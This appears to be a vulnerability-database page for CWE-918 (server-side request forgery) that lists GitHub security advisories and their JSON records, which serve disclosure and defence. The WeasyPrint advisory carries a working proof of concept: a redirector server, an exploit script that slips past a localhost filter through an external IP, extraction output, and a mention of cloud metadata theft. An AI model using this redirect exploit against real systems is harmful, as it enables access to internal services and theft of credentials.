CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6675 vulnerabilities reference this CWE, most recent first.
GHSA-97WG-4GJ3-G8CW
Vulnerability from github – Published: 2025-02-18 03:31 – Updated: 2025-02-18 03:31The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to Limited Server-Side Request Forgery in all versions up to, and including, 5.9.4.2 via the pm_upload_image function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to download and view images, as well as validating if a non-image file exists, both on local or remote hosts.
{
"affected": [],
"aliases": [
"CVE-2024-13741"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-18T02:15:13Z",
"severity": "MODERATE"
},
"details": "The ProfileGrid \u2013 User Profiles, Groups and Communities plugin for WordPress is vulnerable to Limited Server-Side Request Forgery in all versions up to, and including, 5.9.4.2 via the pm_upload_image function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to download and view images, as well as validating if a non-image file exists, both on local or remote hosts.",
"id": "GHSA-97wg-4gj3-g8cw",
"modified": "2025-02-18T03:31:05Z",
"published": "2025-02-18T03:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13741"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/profilegrid-user-profiles-groups-and-communities/tags/5.9.4.2/public/class-profile-magic-public.php#L1717"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/profilegrid-user-profiles-groups-and-communities/tags/5.9.4.2/public/partials/crop.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/95d2a05d-67ae-45b1-8add-0dcf73d43181?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-97X7-R22F-J42V
Vulnerability from github – Published: 2026-09-26 03:30 – Updated: 2026-09-26 03:30OpenClaw (npm package 'openclaw') before 2026.8.1 contains a server-side request forgery vulnerability in its trusted-host DNS checks. For fetches that use the trusted-host DNS recheck, a trusted hostname that resolves to an unspecified address (0.0.0.0 or ::) bypasses the SSRF destination validation. An attacker who can influence DNS for an allowed hostname can therefore cause a guarded fetch to reach a service bound only to loopback and disclose its response; the practical impact depends on the reachable service and the data it returns. Fixed in 2026.8.1.
{
"affected": [],
"aliases": [
"CVE-2026-100574"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-26T03:17:04Z",
"severity": "HIGH"
},
"details": "OpenClaw (npm package \u0027openclaw\u0027) before 2026.8.1 contains a server-side request forgery vulnerability in its trusted-host DNS checks. For fetches that use the trusted-host DNS recheck, a trusted hostname that resolves to an unspecified address (0.0.0.0 or ::) bypasses the SSRF destination validation. An attacker who can influence DNS for an allowed hostname can therefore cause a guarded fetch to reach a service bound only to loopback and disclose its response; the practical impact depends on the reachable service and the data it returns. Fixed in 2026.8.1.",
"id": "GHSA-97x7-r22f-j42v",
"modified": "2026-09-26T03:30:26Z",
"published": "2026-09-26T03:30:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-72p2-79fg-pvph"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100574"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-before-2026.8.1-ssrf-via-trusted-host-dns"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9832-MGG4-3GR6
Vulnerability from github – Published: 2023-09-06 15:30 – Updated: 2023-09-07 13:59An improper default REST API permission for Gamma users in Apache Superset up to and including 2.1.0 allows for an authenticated Gamma user to test database connections.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "apache-superset"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-36387"
],
"database_specific": {
"cwe_ids": [
"CWE-281",
"CWE-863",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-07T13:59:27Z",
"nvd_published_at": "2023-09-06T13:15:08Z",
"severity": "MODERATE"
},
"details": "An improper default REST API permission for Gamma users in Apache Superset up to and including 2.1.0 allows for an authenticated Gamma user to test database connections.\n",
"id": "GHSA-9832-mgg4-3gr6",
"modified": "2023-09-07T13:59:27Z",
"published": "2023-09-06T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36387"
},
{
"type": "WEB",
"url": "https://github.com/apache/superset/pull/24185"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/superset"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/tt6s6hm8nv6s11z8bfsk3r3d9ov0ogw3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Apache Superset has improper default REST API permission for Gamma users"
}
GHSA-983W-RHVV-GWMV
Vulnerability from github – Published: 2026-01-20 16:29 – Updated: 2026-07-02 20:22Summary
A Server-Side Request Forgery (SSRF) Protection Bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy.
Details
The default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.
While WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python's standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer's validation logic for the new target URL.
This behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer's allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).
PoC
To reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., localhost).
1. victim.py (Internal Service - Port 5000) Simulates a sensitive internal service running on localhost.
from flask import Flask
app = Flask(__name__)
@app.route('/secret')
def secret():
return "CRITICAL_INTERNAL_DATA"
if __name__ == '__main__':
# Listens on localhost:5000
app.run(port=5000)
2. attacker.py (External Redirector - Port 1337)
Simulates an external server. It accepts a request and redirects it to the blocked hostname (localhost).
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/image.png')
def malicious():
# The vulnerability: Redirects to the BLOCKED hostname
return redirect("http://localhost:5000/secret", code=302)
if __name__ == '__main__':
app.run(port=1337)
3. exploit.py (Vulnerable Implementation) Simulates the application with a security filter intended to block access to "localhost".
from weasyprint import HTML, default_url_fetcher
import logging
# Security Filter: Intended to block internal hostnames
def secure_fetcher(url):
# Simulates a blacklist for 'localhost'
if "localhost" in url:
raise PermissionError(f"Security Block: Access to {url} denied.")
print(f"[ALLOWED] Initial URL check passed for: {url}")
return default_url_fetcher(url)
# EXPLOIT LOGIC:
# 1. We access the attacker via '127.0.0.1' (or an external IP).
# The string "127.0.0.1" passes the check because it is not "localhost".
# 2. The attacker redirects to "http://localhost:5000/...".
# 3. urllib follows the redirect to 'localhost' without re-triggering secure_fetcher.
try:
# Use 127.0.0.1 to bypass the string check for 'localhost'
html_content = '<link rel="attachment" href="http://54.234.88.160:1337/image.png">'
doc = HTML(string=html_content, url_fetcher=secure_fetcher)
doc.write_pdf("exploit.pdf")
print("Exploit successful. The 'localhost' block was bypassed via redirect.")
print("Check exploit.pdf for 'CRITICAL_INTERNAL_DATA'.")
except Exception as e:
print(f"Exploit failed: {e}")
4. Attacker read attachment in PDF
➜ pdfdetach -list resultado_exploit.pdf
1 embedded files
1: secret
➜ pdfdetach -saveall resultado_exploit.pdf
➜ cat secret
CRITICAL_INTERNAL_DATA
Evidence
Impact
This vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.
- Internal Network Reconnaissance: Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.
- Cloud Metadata Exfiltration: In cloud environments, attackers can redirect requests to metadata services (e.g.,
http://169.254.169.254) to steal instance credentials and escalate privileges. - Security Control Bypass: It renders the
url_fetchersecurity validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "weasyprint"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "68.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68616"
],
"database_specific": {
"cwe_ids": [
"CWE-601",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-20T16:29:53Z",
"nvd_published_at": "2026-01-19T16:15:53Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA **Server-Side Request Forgery (SSRF) Protection Bypass** exists in WeasyPrint\u0027s `default_url_fetcher`. The vulnerability allows attackers to access internal network resources (such as `localhost` services or cloud metadata endpoints) even when a developer has implemented a custom `url_fetcher` to block such access. This occurs because the underlying `urllib` library follows HTTP redirects automatically without re-validating the new destination against the developer\u0027s security policy.\n\n### Details\n\nThe default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.\n\nWhile WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python\u0027s standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer\u0027s validation logic for the new target URL.\n\nThis behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer\u0027s allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).\n\n### PoC\n\nTo reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., `localhost`).\n\n**1. victim.py (Internal Service - Port 5000)**\nSimulates a sensitive internal service running on localhost.\n\n```python\nfrom flask import Flask\napp = Flask(__name__)\n\n@app.route(\u0027/secret\u0027)\ndef secret():\n return \"CRITICAL_INTERNAL_DATA\"\n\nif __name__ == \u0027__main__\u0027:\n # Listens on localhost:5000\n app.run(port=5000)\n```\n\n**2. attacker.py (External Redirector - Port 1337)**\nSimulates an external server. It accepts a request and redirects it to the blocked hostname (`localhost`).\n\n```python\nfrom flask import Flask, redirect\napp = Flask(__name__)\n\n@app.route(\u0027/image.png\u0027)\ndef malicious():\n # The vulnerability: Redirects to the BLOCKED hostname\n return redirect(\"http://localhost:5000/secret\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n app.run(port=1337)\n```\n\n**3. exploit.py (Vulnerable Implementation)**\nSimulates the application with a security filter intended to block access to \"localhost\".\n\n```python\nfrom weasyprint import HTML, default_url_fetcher\nimport logging\n\n# Security Filter: Intended to block internal hostnames\ndef secure_fetcher(url):\n # Simulates a blacklist for \u0027localhost\u0027\n if \"localhost\" in url:\n raise PermissionError(f\"Security Block: Access to {url} denied.\")\n \n print(f\"[ALLOWED] Initial URL check passed for: {url}\")\n return default_url_fetcher(url)\n\n# EXPLOIT LOGIC:\n# 1. We access the attacker via \u0027127.0.0.1\u0027 (or an external IP). \n# The string \"127.0.0.1\" passes the check because it is not \"localhost\".\n# 2. The attacker redirects to \"http://localhost:5000/...\".\n# 3. urllib follows the redirect to \u0027localhost\u0027 without re-triggering secure_fetcher.\n\ntry:\n # Use 127.0.0.1 to bypass the string check for \u0027localhost\u0027\n html_content = \u0027\u003clink rel=\"attachment\" href=\"http://54.234.88.160:1337/image.png\"\u003e\u0027\n \n doc = HTML(string=html_content, url_fetcher=secure_fetcher)\n doc.write_pdf(\"exploit.pdf\")\n \n print(\"Exploit successful. The \u0027localhost\u0027 block was bypassed via redirect.\")\n print(\"Check exploit.pdf for \u0027CRITICAL_INTERNAL_DATA\u0027.\")\nexcept Exception as e:\n print(f\"Exploit failed: {e}\")\n```\n**4. Attacker read attachment in PDF**\n```\n\u279c pdfdetach -list resultado_exploit.pdf\n1 embedded files\n1: secret\n\u279c pdfdetach -saveall resultado_exploit.pdf\n\u279c cat secret\nCRITICAL_INTERNAL_DATA\n```\n**Evidence**\n\u003cimg width=\"1514\" height=\"436\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f7881694-be4d-4c63-8bca-2b220e4c87f9\" /\u003e\n\n### Impact\n\nThis vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.\n\n * **Internal Network Reconnaissance:** Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.\n * **Cloud Metadata Exfiltration:** In cloud environments, attackers can redirect requests to metadata services (e.g., `http://169.254.169.254`) to steal instance credentials and escalate privileges.\n * **Security Control Bypass:** It renders the `url_fetcher` security validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.",
"id": "GHSA-983w-rhvv-gwmv",
"modified": "2026-07-02T20:22:23Z",
"published": "2026-01-20T16:29:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-983w-rhvv-gwmv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68616"
},
{
"type": "WEB",
"url": "https://github.com/Kozea/WeasyPrint/commit/b6a14f0f3f4ce9c0c75c1a2d73cb1c5d43f0e565"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-68616"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430858"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kozea/WeasyPrint"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-68616.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect"
}
GHSA-9855-9CCH-X8MW
Vulnerability from github – Published: 2026-08-19 18:32 – Updated: 2026-09-05 15:30A flaw was found in the cluster-proxy-addon component of Multicluster Engine for Kubernetes. This vulnerability allows an unauthenticated attacker, who can access the user-facing route, to bypass authentication and authorization checks. By manipulating URL path segments, the attacker can proxy requests to arbitrary services across any managed cluster. This enables unauthorized access to internal services that would otherwise be protected, potentially leading to information disclosure or further compromise of the cluster environment.
{
"affected": [],
"aliases": [
"CVE-2026-66794"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T18:17:16Z",
"severity": "CRITICAL"
},
"details": "A flaw was found in the `cluster-proxy-addon` component of Multicluster Engine for Kubernetes. This vulnerability allows an unauthenticated attacker, who can access the user-facing route, to bypass authentication and authorization checks. By manipulating URL path segments, the attacker can proxy requests to arbitrary services across any managed cluster. This enables unauthorized access to internal services that would otherwise be protected, potentially leading to information disclosure or further compromise of the cluster environment.",
"id": "GHSA-9855-9cch-x8mw",
"modified": "2026-09-05T15:30:25Z",
"published": "2026-08-19T18:32:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66794"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59556"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59557"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59558"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59559"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59579"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59593"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-66794"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2507539"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-988G-78QR-2CPM
Vulnerability from github – Published: 2026-05-17 03:30 – Updated: 2026-05-17 03:30A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-8725"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-17T02:16:45Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-988g-78qr-2cpm",
"modified": "2026-05-17T03:30:25Z",
"published": "2026-05-17T03:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8725"
},
{
"type": "WEB",
"url": "https://github.com/juruo123/public_exp/issues/5"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/807753"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/364316"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/364316/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-98PX-6486-J7QC
Vulnerability from github – Published: 2023-06-06 16:41 – Updated: 2024-09-30 20:34Impact
A discovered oEmbed or image URL can bypass the url_preview_url_blacklist setting potentially allowing server side request forgery or bypassing network policies. Impact is limited to IP addresses allowed by the url_preview_ip_range_blacklist setting (by default this only allows public IPs) and by the limited information returned to the client:
- For discovered oEmbed URLs, any non-JSON response or a JSON response which includes non-oEmbed information is discarded.
- For discovered image URLs, any non-image response is discarded.
Systems which have URL preview disabled (via the url_preview_enabled setting) or have not configured a url_preview_url_blacklist are not affected.
Because of the uncommon configuration required, the limited information a malicious user, and the amount of guesses/time the attack would need; the severity is rated as low.
Patches
The issue is fixed by #15601.
Workarounds
The default configuration of the url_preview_ip_range_blacklist should protect against requests being made to internal infrastructure, URL previews of public URLs is expected.
Alternately URL previews could be disabled using the url_preview_enabled setting.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "matrix-synapse"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.85.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-32683"
],
"database_specific": {
"cwe_ids": [
"CWE-863",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-06T16:41:34Z",
"nvd_published_at": "2023-06-06T19:15:11Z",
"severity": "MODERATE"
},
"details": "### Impact\nA discovered oEmbed or image URL can bypass the `url_preview_url_blacklist` setting potentially allowing server side request forgery or bypassing network policies. Impact is limited to IP addresses allowed by the `url_preview_ip_range_blacklist` setting (by default this only allows public IPs) and by the limited information returned to the client:\n\n* For discovered oEmbed URLs, any non-JSON response or a JSON response which includes non-oEmbed information is discarded.\n* For discovered image URLs, any non-image response is discarded.\n\nSystems which have URL preview disabled (via the `url_preview_enabled` setting) or have not configured a `url_preview_url_blacklist` are not affected.\n\nBecause of the uncommon configuration required, the limited information a malicious user, and the amount of guesses/time the attack would need; the severity is rated as low.\n\n### Patches\n\nThe issue is fixed by #15601.\n\n### Workarounds\n\nThe default configuration of the `url_preview_ip_range_blacklist` should protect against requests being made to internal infrastructure, URL previews of public URLs is expected.\n\nAlternately URL previews could be disabled using the `url_preview_enabled` setting.",
"id": "GHSA-98px-6486-j7qc",
"modified": "2024-09-30T20:34:41Z",
"published": "2023-06-06T16:41:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/matrix-org/synapse/security/advisories/GHSA-98px-6486-j7qc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32683"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/synapse/pull/15601"
},
{
"type": "PACKAGE",
"url": "https://github.com/matrix-org/synapse"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/synapse/releases/tag/v1.85.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/matrix-synapse/PYSEC-2023-85.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X6DH5A5YEB5LRIPP32OUW25FCGZFCZU2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Synapse has URL deny list bypass via oEmbed and image URLs when generating previews"
}
GHSA-98VP-FCQ9-GMJ3
Vulnerability from github – Published: 2025-05-14 18:30 – Updated: 2025-05-14 21:31A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. By using an encoded URL, a remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.
{
"affected": [],
"aliases": [
"CVE-2025-40595"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-14T17:15:48Z",
"severity": "HIGH"
},
"details": "A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. By using an encoded URL, a remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.",
"id": "GHSA-98vp-fcq9-gmj3",
"modified": "2025-05-14T21:31:17Z",
"published": "2025-05-14T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40595"
},
{
"type": "WEB",
"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0010"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-98XV-5XRC-6PMQ
Vulnerability from github – Published: 2026-07-27 15:32 – Updated: 2026-07-27 15:32Contributor Server Side Request Forgery (SSRF) in Feedzy <= 5.2.4 versions.
{
"affected": [],
"aliases": [
"CVE-2026-66437"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-27T15:17:11Z",
"severity": "MODERATE"
},
"details": "Contributor Server Side Request Forgery (SSRF) in Feedzy \u003c= 5.2.4 versions.",
"id": "GHSA-98xv-5xrc-6pmq",
"modified": "2026-07-27T15:32:33Z",
"published": "2026-07-27T15:32:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66437"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/feedzy-rss-feeds/vulnerability/wordpress-feedzy-plugin-5-2-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-992M-5RJ6-QXJ2
Vulnerability from github – Published: 2026-10-02 12:31 – Updated: 2026-10-02 12:31YesWiki before 4.6.7 contains a blind server-side request forgery vulnerability that allows unauthenticated attackers to make arbitrary server-side requests via the idtypeannonce parameter of /api/entries/bazarlist. Because isValidURL() always returns true, attackers can supply internal URLs fetched by curl in loadURLContent() to probe internal networks and reach internal services or metadata endpoints.
{
"affected": [],
"aliases": [
"CVE-2026-104440"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-02T12:17:14Z",
"severity": "MODERATE"
},
"details": "YesWiki before 4.6.7 contains a blind server-side request forgery vulnerability that allows unauthenticated attackers to make arbitrary server-side requests via the idtypeannonce parameter of /api/entries/bazarlist. Because isValidURL() always returns true, attackers can supply internal URLs fetched by curl in loadURLContent() to probe internal networks and reach internal services or metadata endpoints.",
"id": "GHSA-992m-5rj6-qxj2",
"modified": "2026-10-02T12:31:15Z",
"published": "2026-10-02T12:31:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-gw65-cpc7-hww6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104440"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/yeswiki-before-4.6.7-blind-ssrf-via-bazarlist-api-idtypeannonce-parameter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.